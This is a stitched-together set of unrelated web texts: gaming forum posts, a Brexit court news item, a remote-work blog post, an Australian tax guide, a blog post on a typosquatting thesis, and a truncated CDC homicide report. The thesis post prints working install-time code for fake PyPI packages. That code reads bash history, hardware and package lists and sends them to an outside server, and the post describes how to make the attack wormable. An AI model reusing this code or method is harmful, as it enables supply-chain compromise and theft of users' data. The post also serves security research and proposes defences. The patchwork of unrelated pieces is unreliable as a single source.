I personally would be pissed if I took a Hunchback and was only met with Dire Wolves.On top of this I suggest that the mode would have a new map – weighted 100% in that mode only. Something that is a simple and small to medium size circle or octagon which would be relatively flat and with a little bit of cover. A typical arena style map.The second game type I am suggesting is one for community warfare. One which might utilize the continuous drops a bit more then wave combat but also at the same time requires movement. My suggestion would be a king of the hill mission type with moving points. What I mean is think of a conquest style game mode with three points on a map in different locations. Only one point will be active at a time. This means that the team which enters into the point, and holds it long enough to cap it, starts to earn points. Every two or three minutes the cap location will then change to one of the other points – forcing the teams to move around the map and also hopefully forcing inopportune fights in different places of the map. The team with the most points scored by the end of the match, or first team to destroy the enemy team wins.I am sure that most of the current CW maps could support this game mode if implemented and that no new maps would need to be created in order for it to work properly. I am not saying that the new game mode alone would increase community warfare activity because the problems with Community warfare at the moment is more of a incentive problem over a content problem. That said I do think that another game mode would be interesting to have for community warfare. I also think it would be an interesting game mode for competitive MWO, if/when the community warfare game types become available for private lobbies.As I stated earlier I could probably ramble and write for hours about game modes I would like to see or that I think would be fun in MWO, but really I just want to get a discussion started again about what game modes people would like to play. I hope you join me next time in the second part of my list of things I would like to see. Next time I try to tackle community warfare and the features I would like to see in CW. « Last Edit: 4 Aug 15 by Cattra Kell »
Marik Campaign Competitive Stats: 64 Kills / 37 deaths / 59 Games
ISC stats: 7 Kills / 5 Deaths / 21 Assists / 6 Games Marik Campaign Competitive Stats: 64 Kills / 37 deaths / 59 GamesISC stats: 7 Kills / 5 Deaths / 21 Assists / 6 Games Keekat Wrenching Crew
Ace
Extra info Extra info Re: New Game Modes - A Fans Wish List Part 1
The problem with conquest is that you can trade captures with the other team at no penalty, there's no need to split up and capture more than 1 point at a time, or even defend the points.
One possibility would be to make capture points speed up if they stay captured for an amount if time to encourage defense.
Spoiler: show
I'd like to have a 2 or 3 point capture game type. 1 primary capture point, and 1or 2 secondary points. The primary point is required to win, the secondary point(s) give powerful bonuses. The bonuses need to be serious enough to encourage teams to split up and attack on multiple fronts. Things like controlling turrets around the primary cap, UAV coverage over and around the primary cap, a special free artillery ability, or even dropship flybys.
Instead of victory points ticking up, they would tick down for both teams. Capturing the primary point would stop your points from ticking down. This means that the sooner you capture the primary point, the more rewards you get. You don't want people to ignore the victory point. This would work better as a multiple spawn game probably.
basicalky think of terra therma. You have the primary point in the caldera, a strong defensable position. The secondary points would be far enough away from the center to make it a choice to go that way.
Sure the caldera might be easy to defend but it would become much less so if the enemy team was allowed to capture the secondary points, giving them UAV coverage and turret control. Teams would need to choose if they want to go straight for the primary cap, half to turrets and half to primary, or whatever.
This is probably all a bad idea but the point is, this game shines in lance v lance situations. Game modes should encourage smaller engagements. We really need a FFA option, even if its just a private match option. The best way to do it would be to open up Solaris7 on the CW map rather than throwing it into the public queue mix. Might be a good way to earn some faction loyalty points as a solo player.The problem with conquest is that you can trade captures with the other team at no penalty, there's no need to split up and capture more than 1 point at a time, or even defend the points.One possibility would be to make capture points speed up if they stay captured for an amount if time to encourage defense.This is probably all a bad idea but the point is,. Game modes should encourage smaller engagements. [CW] CyclonerM Elite
Extra info Extra info Re: New Game Modes - A Fans Wish List Part 1
I like your CW mode idea. I actually think that playing the same mode over and over in CW has a bigger part than you think in why people stop playing it.
What i had always expected for CW were open battles on big maps with different objectives: conquering "areas" aka capture points, industrial plants (with relative discounts for weapons, equipment and mechs), power plant (with changes in other mods, like no lights in city maps? ), government buildings, spaceports (with some influence in other mods) and a supply raid mission in which you have to capture or destroy a supply depot, earning marginal/total victory or defeat based on its destruction or capture, with stages like "if you failed to capture it, you get a chance to capture or destroy the hovertrain carrying those supplies"; if you defend your supplies after the 2nd stage, you get an ammo depot in Invasion, maybe even a mobile field base for quick field repairs (maybe only armor) and a lot of c-bills.
However, with their map design, they have limited themselves A LOT. Instead of varied open maps with lot of tactical options, we get LoL maps with a forced path or two.. Wow. I see no need for FFA mode before Solaris VII. Arena-style map ? Deathmatches? Sounds like Solaris a lot indeed.I like your CW mode idea. I actually think that playing the same mode over and over in CW has a bigger part than you think in why people stop playing it.What i had always expected for CW were open battles on big maps with different objectives: conquering "areas" aka capture points, industrial plants (with relative discounts for weapons, equipment and mechs), power plant (with changes in other mods, like no lights in city maps?), government buildings, spaceports (with some influence in other mods) and a supply raid mission in which you have to capture or destroy a supply depot, earning marginal/total victory or defeat based on its destruction or capture, with stages like "if you failed to capture it, you get a chance to capture or destroy the hovertrain carrying those supplies"; if you defend your supplies after the 2nd stage, you get an ammo depot in Invasion, maybe even a mobile field base for quick field repairs (maybe only armor) and a lot of c-bills.However, with their map design, they have limited themselves A LOT. Instead of varied open maps with lot of tactical options, we get LoL maps with a forced path or two.. Wow. Print
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Britain's Supreme Court has set aside four days starting on December 5 for the government's appeal against a ruling that it cannot start the Brexit process without parliament's approval.
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All 11 Supreme Court judges will hear the landmark case, which could delay Britain's withdrawal from the European Union, and will deliver their judgement "probably in the New Year", a court statement on Tuesday said.
The High Court of England and Wales ruled last Thursday that the government could not use its executive power to trigger Article 50 of the EU's Lisbon Treaty, which starts a two-year countdown to Brexit.
The judgement that parliament must give its approval first threatens to derail the timetable set by Prime Minister Theresa May, who has said she intends to trigger Article 50 by the end of March.
There is also speculation that members of the House of Commons, the majority of whom opposed Brexit, may seek to soften Britain's break with the EU or even try to stop it.
"The Supreme Court has now received formal notification of the government's intention to appeal the High Court's decision of 3 November," a court statement said.
"Permission to appeal has been granted by a panel of three Justices and the case can now proceed to a full hearing."
Lord David Neuberger, president of the Supreme Court, will chair the appeal panel which will comprise of all 11 judges in Britain's highest court.
"Judgment will be reserved at the conclusion of that hearing and follow at a later date, probably in the New Year," the statement said.
It added: "The exact number of days and timings will depend on further submissions received from the parties on the precise legal arguments to be considered, the number of interveners and whether any other related cases are joined to this one.
"However, at this stage we expect the hearing may well last all four days from Monday 5 December."
(AFP) |
Working remotely has a lot of advantages, but it’s far from perfect. Here’s what we’ve learned in our journey as a remote team.
Headphones.
They were practically all I could see.
An ocean of big, round, silver headphones attached to silent, focused faces that hadn’t said a word all day.
When my last company grew big enough, we did what startups in New York were supposed to do.
We rented a big, trendy SoHo loft to give our team a headquarters.
It was a wide open floor plan that gave everyone the opportunity to talk to one another and collaborate seamlessly.
It was an opportunity that few actually took.
At around 9AM, employees would wander into the office, pour themselves a cup of coffee, sit down at their desks, put on those big silver headphones and get to work.
And they’d stay in that position for the whole day.
We were productive, and we got along really well, but anyone looking at the scene above would see an army of headphones getting little benefit from sharing a physical space.
When I started Groove, I decided to go in a different direction.
To forsake the office and build a remote team.
I still wonder if it was the best decision, but regardless, it’s the one I made.
Many months later, I’ve learned a lot about remote work.
About working from a home office, managing a remote team and building a business where the employees hardly ever see one another.
Below are some of the most important lessons I’ve learned.
If your team is already a well-tuned distributed machine, you’ll already know about most or all of these lessons, because like us, you’ve learned them the hard way.
But if you’re at the same crossroads I was at in choosing which direction to go, or if you’re looking for tips on being a more efficient, cohesive and productive remote team, then this post is for you.
The Good: Pros of Running a Remote Team
1) We have access to more and better talent, faster.
When it was time to start hiring, I tried to contain my initial push for developers to the area surrounding Newport.
Unfortunately, I couldn’t find anyone with the skills, experience and intangibles that I was looking for.
As soon as I opened up my search to include the rest of the country, I found the right employees very quickly.
Our first two engineering hires were made within the next few weeks, and they’re still with Groove today.
We now have team members in Rhode Island, Maryland, North Carolina, Colorado, Utah and Illinois, with part-time help from Bulgaria, Russia and a few other parts of the world, depending on what we’re working on.
And averaging one to three weeks, the searches for those team members were relatively short compared to the six-week-or-more recruiting campaigns we’d undergo to hire a single employee at my last startup.
2) Our employees have lives outside of work.
Yes, we’ve struggled with burnout in the past (though we no longer do).
But our team is happy, and one of the things we all appreciate is the freedom to spend time doing the things that are important to us beyond our jobs.
We have a 15-minute team call every Monday morning that everyone attends. That’s when we make sure that we’re all on the same page about accomplishments from the previous week, and goals, deliverables and challenges for the coming week.
Of course, there’s a ton of collaboration that happens outside of that weekly call, but that’s our only scheduled meeting.
Aside from that, our team works when and where they want to. And we all have other commitments.
Most of us are married or in serious relationships.
Two of our team members have babies (read: second full-time jobs).
Another is engaged to a nurse whose schedule changes every week. Their lives are made a lot easier by the fact that he’s able to work the same hours as her (sometimes, that means early mornings, evenings or weekends) and get time off when she does (usually weekdays).
Personally, I love living next to the ocean. On more than one occasion, I’ve stopped what I was doing, grabbed my board and headed out for some mid-day surfing.
Would all of these things be possible if we worked in an office?
Sure, there are a lot of people who make it work.
But not spending two hours per day commuting, and having the flexibility to work when you prefer sure does make it easier.
3) We can respond to “oh shit” situations faster.
When our server disaster hit, we were definitely caught off guard.
But being a remote team helped us restore service when we did, and not hours later.
When we learned of the issue, we didn’t have to waste time waiting for our team to assemble at the office.
Everyone had everything that they needed to get to work right away.
Sure, with VPN’s, practically anyone can work from anywhere if the shit hits the fan.
But if you’re accustomed to working together in an office, working remotely is a workflow disruption to your team on top of an already high-stress crisis.
We were lucky that, as far as collaboration goes, things were business as usual and we were able to move quickly and without interruption.
4) Our overhead is lower.
Office space isn’t cheap.
Neither is furniture, or electricity, or business-level internet access (at least here in the US).
The costs of running a virtual team are minimal in comparison. Our “office” expenses are subscriptions for the SaaS tools we use to function:
HipChat for constant communication: $14/month.
Screenhero for screen sharing and VoIP: free (for now).
Skype for customer demos and calls: $30/month for a few premium accounts.
Google Drive for collaborating and sharing files: free.
15five for staying on top of our team’s happiness and challenges: $49/month.
Pivotal Tracker and Trello for project management: $23/month (though we would certainly use these from an office, too).
Every dollar we save on rent is a dollar we can reinvest in the growth of the business and our employees.
The Bad: Cons Of Running a Remote Team
1) A great startup employee doesn’t necessarily make a great remote startup employee.
While the talent pool certainly gets bigger when you’re hiring from around the world, your hiring needs also change drastically.
We can’t just hire good startup employees, because we’ve found that that simply isn’t enough.
Most people don’t have the organization, focus and motivation to be productive working remotely.
It’s not that they can’t. It’s just that they haven’t had to.
Successfully working from home is a skill, just like programming, designing or writing. It takes time and commitment to develop that skill, and the traditional office culture doesn’t give us any reason to do that.
We had some early hires — very talented people — not work out, only because they had never worked remotely before and we were unsuccessful at helping them develop that skill.
Now, we don’t just look for good startup employees, but we look for good startup employees with experience working remotely.
Everyone on our team has either worked on a distributed team before, or been a freelancer or entrepreneur in the past.
2) Company culture takes a hit.
There’s a lot more to startup culture than having an office. At the end of the day, culture is about shared values and goals.
But having everyone in one place makes it a lot easier to build that culture.
The more exposure team members have to each other, the more developed and defined that culture becomes.
Simply by virtue of being remote, that exposure is necessarily limited.
We’ve done a pretty good job at working on culture through close contact in HipChat, team culture exercises and ensuring that new employees are a good fit through trial periods before we hire.
But it’s still, and I suspect always will be, a challenge.
3) Communication gets harder.
With team members in different time zones and on different schedules, there are very few times when everyone is available.
Most of the time, this isn’t an issue.
Outside of our weekly call, our team primarily uses HipChat to talk, as it keeps everything in one place and saves chat messages for when a user gets back online.
But sometimes, you need an answer now.
Maybe a customer needs an urgent fix and the developer you need is coding away in full-screen.
Maybe there’s a question about a blog post that needs to go out today, but the only person who can answer it is three time zones away and won’t be up for another two hours.
In an office, if someone isn’t responding to an email, it’s easy enough to stop by their desk and get what you need.
On a distributed team, that’s not really possible.
Of course, in a truly urgent situation, we won’t hesitate to call.
But for everything else, it means we have to be organized and diligent about tracking what we need from each other. And if getting that information or deliverable is an obstacle, we need to be able to switch tasks until we can get it.
It’s not the most efficient system.
While I think there’s a net positive impact on productivity from working remote, the communication barrier can, and sometimes does throw a wrench in the gears.
4) It’s (practically) impossible to transition to an office.
At this point, whether or not I was wrong about going the remote route doesn’t really matter.
Switching to an office-based team would mean either a) moving everyone to one place, or b) laying off the team and starting over.
We have an amazing team, and they’ve got deep roots all over the place.
Neither of those options are on the table now, nor will they ever be.
So in the practical sense, the fact that we can’t switch isn’t a challenge, since it’s not happening.
But it’s a challenge in that I always wonder whether it was the right move.
Would we have grown faster if our team was in one place?
Would we have been taken more seriously by press and potential business partners?
Would we have been more productive and efficient by working elbow-to-elbow?
We’ll never know.
We’ve Still Got (Remote) Work To Do
Although we’ve tackled a lot of the hardest challenges of working as a remote team, and reaped many big rewards from it, I’d hesitate to call us a remote success story… yet.
We’ve still got work to do, and much of that revolves around developing and protecting our culture and collaboration as we grow.
Some of the ways we’re going to be doing that include:
Retreats to bring the whole team together in person (it’s crazy to me that I’ve never actually met a couple of the people I work with).
More defined systems for onboarding new employees to our remote “office.”
Hiring employees in more time zones to improve our support coverage and development cycle.
I hope that our experiences help you make up your own mind about whether remote is the right way to go for your business, and if you’re a remote team, I hope you’ve learned something new.
This is an important topic to Groove, and we’ll keep writing about it as we learn new things and grow our team.
But first, I’m going surfing. |
Foreign residents and temporary residents
If you're a temporary resident, foreign resident or the trustee of a foreign trust, you're subject to capital gains tax (CGT) if a CGT event happens to a CGT asset that is taxable Australian property, such as real property in Australia or a CGT asset you use in a business in Australia.
Assets you acquired before 20 September 1985 are not subject to CGT.
For temporary residents there are specific rules where the CGT asset is a share or right acquired under an employee share scheme.
Foreign residents who dispose of taxable Australian property may not be entitled to claim the CGT main residence exemption when a CGT event happens to their property.
On this page:
See also:
What is a temporary resident?
You're a temporary resident if you:
hold a temporary visa granted under the Migration Act 1958
are not an Australian resident within the meaning of the Social Security Act 1991
do not have a spouse who is an Australian resident within the meaning of the Social Security Act 1991.
The Social Security Act 1991 defines an ‘Australian resident’ as a person who resides in Australia and is an Australian citizen, the holder of a permanent visa or a protected special category visa holder.
This is different to the standards we use to determine tax residency. You could be an Australian resident for tax purposes even if you're not an Australian citizen or permanent resident.
Anyone who is an Australian resident for tax purposes after 6 April 2006 but is not a temporary resident cannot later become a temporary resident, even if they later hold a temporary visa.
Ceasing to be a temporary resident
If you cease being a temporary resident and remain an Australian resident, you're taken to have acquired assets (other than assets you acquired before 20 September 1985) that are not taxable Australian property for their market value at the time you ceased being a temporary resident.
There is an exception to this rule for employee shares and rights.
Example Fred has lived most of his life in London working as a market research consultant. He is single. He owns several apartments in and around London that are leased to tenants and has a share portfolio that provides him with regular dividend income. On 12 December 2011, he arrived in Brisbane to begin work with an Australian company that conducts market research. For the first three years, Fred held a temporary visa and expected to eventually return to the United Kingdom. During this period he was a temporary resident as he held a temporary visa and met the other criteria for being a temporary resident. Fred decided to apply for, and was granted, permanent residence in Australia on 15 March 2016. The CGT implications for Fred are as follows. For assets disposed of between 12 December 2011 and 14 March 2016 Fred was a temporary resident and was only subject to CGT in Australia on any assets that were taxable Australian property. For assets disposed of on or after 15 March 2016 Fred is an Australian resident and is subject to tax in Australia on his worldwide income and capital gains. Any capital gains or capital losses Fred makes on the assets held in the United Kingdom will be subject to CGT in Australia and the cost base for these assets will be set according to the market value of the assets on 15 March 2016. Fred will receive a foreign tax credit for any tax paid in the United Kingdom on those gains. End of example
See also:
There are special capital gains tax (CGT) rules that apply if you are a foreign resident or if you become, or cease being, a resident of Australia for tax purposes. There are also special rules for temporary residents. |
Edit: It seems that the blog post and the thesis caused quite some interest. Please contact me under the following mail address, since my mail server on this VPS is constantly down :/ tschachn [|[at]|] hu-berlin [[|dot|]] de
In this blog post I will show how to use the neat JavaScript library chart.js with the well-known Python web-framework Django. As a sample data set I will make use of my workout progress data between May 2016 and August 2016.
17000 computers were forced to execute arbitrary code by typosquatting programming language packages/libraries
were forced to execute arbitrary code by typosquatting programming language packages/libraries 50% of these installations were conducted with administrative rights
of these installations were conducted with administrative rights Even highly security aware institutions ( .gov and .mil hosts ) fell victim to this attack
) fell victim to this attack a typosquatting attack becomes wormable by mining the command history data of hosts
by mining the of hosts some good defenses against typosquatting package managers might look like
The complete thesis can be downloaded as a PDF.
In the second part of 2015 and the early months of 2016, I worked on my bachelors thesis. In this thesis, I tried to attack programming language package managers such as Pythons PyPi, NodeJS Npmsjs.com and Rubys rubygems.org. The attack does not exploit a new technical vulnerability, it rather tries to trick people into installing packages that they not intended to run on their systems.
DNS Typosquatting
In the domain name system, typosquatting is a well known problem. Typosquatting is the malicious registering of a domain that is lexically similar to another, often highly frequented, website. Typosquatters would for instance register a domain named Gooogle.com instead of the well known Google.com. Then they hope that people mistype the website name in the browser and accidentally arrive on the wrong site. The misguided traffic is then often monetized either with advertisements or malicious attacks such as drive by downloads or exploit kits.
The Idea
While writing the thesis, I wondered whether the concept behind DNS typosquatting can be transfered to other use cases. By using the programming language Python for several years, I learned that the third-party package manager pip (a command line application) is used to install software libraries from Python’s community repository named PyPi . So the natural question is: How many users do commit typos when issuing an installation command in the terminal by using pip ?
sudo pip install reqeusts
Because everybody can upload any package on PyPi , it is possible to create packages which are typo versions of popular packages that are prone to be mistyped. And if somebody unintentionally installs such a package, the next question comes intuitively: Is it possible to run arbitrary code and take over the computer during the installation process of a package?
The Attack
So basically we create a fake package that has a similar name as a famous package on PyPi , Npmjs.com or rubygems.org . For example we could upload a package named reqeusts instead of the famous requests module. I created such typo package names in three different ways:
Creative typo names like coffe-script instead of coffee-script . Often only humans can create creative typo names, because its creation process requires an intuitive understanding of what grammatical mistake is easy to make with the origin name. Stdlib typos or core package names like urllib2 . Stdlib typos are package names that do exist in the core of the language but haven't registered in the third party package manager yet. Algorithmically determined typo names like req7est instead of request . Algorithmically typo candidates are suggestions from algorithms like the Levenshtein distance.
All in all, I created over 200 such packages and equipped them with a small program and uploaded them over the course of several months. The idea is to add some code to the packages that is executed whenever the package is downloaded with the installing user rights.
The following points need to be considered when attacking a package manager. The first two items of the list need to be fulfilled in order for the package repository to be vulnerable for typosquatting attacks.
The possibility of registering any package name and uploading code without supervision. The feasibility to achieve code execution upon package installation on the host system. Accessibility and presence of good documentation for uploading and distributing packages on the package repositories. Difficulty in quickly learning the target programming language.
The reader might now ask himself, whether it is really that easy for a installing package to execute own code?
Code Execution for Installed Python Packages
In Python, each package that is publicly registered, needs to have a setup.py file that contains package meta data such as names, description and fixtures belonging to the package. Whenever a user installs a package from the PyPi package repository, this setup.py is executed by a local Python interpreter. This means, that it is possible to hide code in the setup.py file that runs with the installing users rights.
Code Execution for Installed NodeJS Packages
NodeJS and its package manager, npm , provide various hooks on specific events to execute code. There is also a preinstall option that can be set in the package.json file, that provides options and metadata for a published NodeJS package. It is favorable to write this preinstall script also in Javascript and execute it with the node binary, because node is guaranteed to be installed on the target system, when npm is used to install third party packages.
Code Execution for Installed Ruby Packages
Achieving code execution with Ruby was slightly trickier. There is no official way (like in Node.js) or easy method (like in Python’s setup.py file) to execute code upon installing packages with the Ruby package manager named gem . However, code execution was achieved by creating an empty native Ruby extension and placing the notification code in a Ruby extension configuration file named extconf.rb , which is interpreted during the pseudo build process.
The Notification Program
Now that we achieved code execution upon installation, it is time to show the program that was executed when the user installed such a typo package. The Python script below collects some non-personal host information and sends it to a University virtual private server that was setup beforehand. An equivalent program was developed for Ruby and NodeJS. I called this program Notification Program, because it notifies me whenever a user committed a typo and installed one of my typo packages. The data collected contains the IP address, the operating system, the user rights and a timestamp of the installation.
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Notification program used in the typo squatting bachelor thesis for the python package index. Created in autumn 2015. Copyright by Nikolai Tschacher """ import os import ctypes import sys import platform import subprocess debug = False # we are using Python3 if sys . version_info [ 0 ] == 3 : import urllib.request from urllib.parse import urlencode GET = urllib . request . urlopen def python3POST ( url , data = {}, headers = None ): """ Returns the response of the POST request as string or False if the resource could not be accessed. """ data = urllib . parse . urlencode ( data ) . encode () request = urllib . request . Request ( url , data ) try : reponse = urllib . request . urlopen ( request , timeout = 15 ) cs = reponse . headers . get_content_charset () if cs : return reponse . read () . decode ( cs ) else : return reponse . read () . decode ( 'utf-8' ) except urllib . error . HTTPError as he : # try again if some 400 or 500 error was received return '' except Exception as e : # everything else fails return False POST = python3POST # we are using Python2 else : import urllib2 from urllib import urlencode GET = urllib2 . urlopen def python2POST ( url , data = {}, headers = None ): """ See python3POST """ req = urllib2 . Request ( url , urlencode ( data )) try : response = urllib2 . urlopen ( req , timeout = 15 ) return response . read () except urllib2 . HTTPError as he : return '' except Exception as e : return False POST = python2POST try : from subprocess import DEVNULL # py3k except ImportError : DEVNULL = open ( os . devnull , 'wb' ) def get_command_history (): if os . name == 'nt' : # handle windows # http://serverfault.com/questions/95404/ #is-there-a-global-persistent-cmd-history # apparently, there is no history in windows :( return '' elif os . name == 'posix' : # handle linux and mac cmd = 'cat {}/.bash_history | grep -E "pip[23]? install"' return os . popen ( cmd . format ( os . path . expanduser ( '~' ))) . read () def get_hardware_info (): if os . name == 'nt' : # handle windows return platform . processor () elif os . name == 'posix' : # handle linux and mac if sys . platform . startswith ( 'linux' ): try : hw_info = subprocess . check_output ( 'lshw -short' , stderr = DEVNULL , shell = True ) except : hw_info = '' if not hw_info : try : hw_info = subprocess . check_output ( 'lspci' , stderr = DEVNULL , shell = True ) except : hw_info = '' hw_info += '
' + \ os . popen ( 'free -m' ) . read () . strip () return hw_info elif sys . platform == 'darwin' : # According to https://developer.apple.com/library/ # mac/documentation/Darwin/Reference/ManPages/ # man8/system_profiler.8.html # no personal information is provided by detailLevel: mini return os . popen ( 'system_profiler -detailLevel mini' ) . read () def get_all_installed_modules (): # first try the default path pip_list = os . popen ( 'pip list' ) . read () . strip () if pip_list : return pip_list else : if os . name == 'nt' : paths = ( 'C:/Python27' , 'C:/Python34' , 'C:/Python26' , 'C:/Python33' , 'C:/Python35' , 'C:/Python' , 'C:/Python2' , 'C:/Python3' ) # try some paths that make sense to me for loc in paths : pip_location = os . path . join ( loc , 'Scripts/pip.exe' ) if os . path . exists ( pip_location ): cmd = '{} list' . format ( pip_location ) try : pip_list = subprocess . check_output ( cmd , stderr = DEVNULL , shell = True ) except : pip_list = '' if pip_list : return pip_list return '' def notify_home ( url , package_name , intended_package_name ): host_os = platform . platform () try : admin_rights = bool ( os . getuid () == 0 ) except AttributeError : try : ret = ctypes . windll . shell32 . IsUserAnAdmin () admin_rights = bool ( ret != 0 ) except : admin_rights = False if os . name != 'nt' : try : pip_version = os . popen ( 'pip --version' ) . read () except : pip_version = '' else : pip_version = platform . python_version () url_data = { 'p1' : package_name , 'p2' : intended_package_name , 'p3' : 'pip' , 'p4' : host_os , 'p5' : admin_rights , 'p6' : pip_version , } post_data = { 'p7' : get_command_history (), 'p8' : get_all_installed_modules (), 'p9' : get_hardware_info (), } url_data = urlencode ( url_data ) response = POST ( url + url_data , post_data ) if debug : print ( response ) print ( '' ) print ( "Warning!!! Maybe you made a typo in your installation \ command or the module does only exist in the python stdlib?!" ) print ( "Did you want to install '{}' \ instead of '{}'??!" . format ( intended_package_name , package_name )) print ( 'For more information, please \ visit http://svs-repo.informatik.uni-hamburg.de/' ) def main (): if debug : notify_home ( 'http://localhost:8000/app/?' , 'pmba_basic' , 'pmba_basic' ) else : notify_home ( 'http://svs-repo.informatik.uni-hamburg.de/app/?' , 'pmba_basic' , 'pmba_basic' ) if __name__ == '__main__' : main ()
Results
In two empirical phases, exactly 45334 HTTP requests by 17289 unique hosts (distinct IP addresses) were gathered. This means that 17289 distinct hosts executed the program above and sent the data to the webserver which was analyzed in the thesis. The number of HTTP requests is for various reasons higher than the number of distinct IP addresses. The main reason is that pip executes the setup.py file twice on installation. Don't ask me why.
Packages for three different package managers, PyPi (Python) , rubygems.org (Ruby) and npmjs.com (Node.js – Javascript) were uploaded and distributed. Most installations were received from PyPi with 15221 unique installations measured by distinct IP addresses. Then rubygems.org follows with 1631 distinct installations. Npmjs.com with 525 total unique IP addresses counted, had the smallest number of installations.
At least 43.6% of the 17289 unique IP addresses executed the notification program with administrative rights. From the 19603 distinct interactions, 8614 machines used Linux as an operation system, 6174 used Windows and 4758 computers were running OS X . Only 57 hosts (or 0.29%) could not be mapped to one of these three major operating systems. These were mostly FreeBSD and Java operating systems (Or in rare instances, junk data that was submitted manually and thus not possible to parse).
Some statistical numbers for the uploaded packages and their installations:
214 total different uploaded typo packages on three different package repositories
total different uploaded typo packages on three different package repositories 92 average installations per package
The standard derivation of installations per package is 433 and thus relatively high
The most installed package (urllib2) received 3929 unique installations in almost 2 weeks (284 average installations per day)
in almost 2 weeks (284 average installations per day) The most installed package per day was bs4 with 366 unique daily installations on average
with on average The least installed package had only one installation (Probably by a mirror or crawler)
The image below visualizes the installations over time. Each point shows the installations on a certain day. The upper plot shows the total number of unique installations on each single day. The light dashed line are the installations with administrative rights. The bottom plot splits up installations in two sets: From the top five installed packages (circles as markers) and the rest of all packages (squares as markers). Light sub-graphs show the administrative ratio.
In the image below, a reverse lookup was conducted on the gathered IP addresses. The number of hosts for some interesting domains are shown.
Making the attack wormable
The basic idea is to make the typosquatting attack wormable by mining typo candidates from the command line history of encountered hosts. The function get_command_history() in the Notification Program above
def get_command_history (): if os . name == 'nt' : # handle windows # http://serverfault.com/questions/95404/ #is-there-a-global-persistent-cmd-history # apparently, there is no history in windows :( return '' elif os . name == 'posix' : # handle linux and mac cmd = 'cat {}/.bash_history | grep -E "pip[23]? install"' return os . popen ( cmd . format ( os . path . expanduser ( '~' ))) . read ()
collects the command history involving a pip installation command. Then the package name of the commands are parsed and I looked for all real typos by comparing them to the list of all existing packages in the PyPi index. If the package name wasn't found there, we successfully mined a new typo name.
The analysis of 1454 distinct hosts, which sent the command history, reveals a concerning result: By mining the command history for typos, several new high class typo candidates, which promise large numbers of installations, have been located. Especially the module names git (misspelled in 90 distinct hosts), scikit (89 unique misspellings) and bs4 (31 hits) seem to be mistyped frequently among independent users. By registering them, lots of typo installations and thus code execution seem to be guaranteed. And the more new installations, the more new mined typo candidates. Worm like behavior.
Defenses against typo squatting
In short, read the thesis. If you are too lazy, do the following:
Prevent Direct Code Execution on Installations This one is easy. Make sure that the software that unpacks and installs a third party package ( pip or npm ) does not allow the execution of code that originates from the package itself. Only when the user explicitly loads the package, the library code should be executed.
Generate a List of Potential Typo Candidates Generate Levenshtein distance candidates for the most downloaded N packages of the repository and alarm administrators on registration of such a candidate.
Analyze 404 logfiles and prevent registration of often shadow installed packages Whenever a user makes a typo by installing a package and the package is not registered yet, a 404 logfile entry on the repository server is created (because the install HTTP requests targets a non-existent resource). Parse these failed installations and prevent all such names that are shadow-installed more than a reasonable threshold per month.
Conclusion
If I would have had malicious intentions and if malware was distributed instead of the notification program which only send information to a university web server, then these 17289 unique hosts would be under my control. At least 43.6 % of hosts with administrative rights would have given me 8552 computers with complete access to the whole operating system API.
The results of this thesis showed that creating a botnet by exploiting typo errors from humans is perfectly possible. However, it is not easy to answer how much the cover of free research from the University covered and prevented a interruption of the empiric study by security researchers.
In the thesis itself, several powerful methods to defend against typo squatting attacks are discussed. Therefore they are not included in this blog post. |
Persons using assistive technology might not be able to fully access information in this file. For assistance, please send e-mail to: [email protected]. Type 508 Accommodation and the title of the report in the subject line of e-mail.
Homicide Rates Among Persons Aged 10–24 Years — United States, 1981–2010
Homicide disproportionately affects persons aged 10–24 years in the United States and consistently ranks in the top three leading causes of death in this age group, resulting in approximately 4,800 deaths and an estimated $9 billion in lost productivity and medical costs in 2010 (1). To investigate trends in homicide among persons aged 10–24 years for the period 1981–2010, CDC analyzed National Vital Statistics System data on deaths caused by homicide of persons in this age group and examined trends by sex, age, race/ethnicity, and mechanism of injury. This report describes the results of that analysis, which indicated that homicide rates varied substantially during the study period, with a sharp rise from 1985 to 1993 followed by a decline that has slowed since 1999. During the period 2000–2010, rates declined for all groups, although the decline was significantly slower for males compared with females and for blacks compared with Hispanics and persons of other racial/ethnic groups. By mechanism of injury, the decline for firearm homicides from 2000 to 2010 was significantly slower than for nonfirearm homicides. The homicide rate among persons aged 10–24 years in 2010 was 7.5 per 100,000, the lowest in the 30-year study period. Primary prevention strategies remain critical, particularly among groups at increased risk for homicide.
National homicide counts and population estimates for U.S. residents were obtained from the National Vital Statistics System using CDC's Web-based Injury Statistics Query and Reporting System (WISQARS) for persons aged 10–24 years for the period 1981–2010 (1,2). Data were stratified by year, sex, 5-year age group (i.e., 10–14, 15–19, and 20–24 years), and mechanism of injury (i.e., firearm or nonfirearm). Homicide counts and population estimates were further stratified by race/ethnicity for 1990–2010 (i.e., non-Hispanic white, non-Hispanic black, non-Hispanic other, and Hispanic).* Annual homicide rates (per 100,000 population) were determined overall and for the indicated strata. The most recent period (2000–2010) is of particular interest because it best reflects the populations currently at highest risk for whom the continued implementation of prevention strategies remains crucial. Trends for this later period were analyzed using a negative binomial rate regression modeling approach, allowing formal statistical evaluation of trends and comparisons across strata.
The overall homicide rate among persons aged 10–24 years varied substantially during the 30-year study period (Figure 1). Rates rose sharply from 1985 to 1993, increasing 83%, from 8.7 per 100,000 in 1985 to 15.9 in 1993. From 1994 to 1999, the overall rate declined 41%, from 15.2 per 100,000 in 1994 to 8.9 in 1999. Modeled rates indicate a slow but statistically significant downward trend in homicide in this age group for the period 2000–2010 (p=0.04), with a model-estimated decline of approximately 1% per year. The overall homicide rate in 2010 (7.5 per 100,000) was the lowest rate during the 30-year period. Nearly 80% of all homicides during the 30-year study period were firearm homicides (79% overall; range of annual percentages: 64%–85%). The annual rate of firearm homicide was on average 3.7 times the annual rate of nonfirearm homicide during this period. Among persons aged 10–24 years, males, those aged 20–24 years, and blacks had the highest rates of homicide over the 30 years examined (Figures 2 and 3). In 2010, the homicide rates for these groups were 12.7 per 100,000 for males, 13.2 for persons aged 20–24 years, and 28.8 for blacks.
Patterns in homicide rates among persons aged 10–24 years for the period 2000–2010 were further examined by sex, age group, race/ethnicity, and mechanism of injury. Homicide rates for males remained substantially higher than rates for females (Figure 2). Although model-estimated rates for males and females indicate declines, in relative terms, the decline for males was significantly slower than the decline for females (p=0.03). When homicide rates were examined by age group, rates for persons aged 20–24 years remained highest, and rates for persons aged 10–14 years remained lowest (Figure 2). Model-estimated rates indicate declines for all three age groups. Age-specific declines in homicide rates were not found to be significantly different.
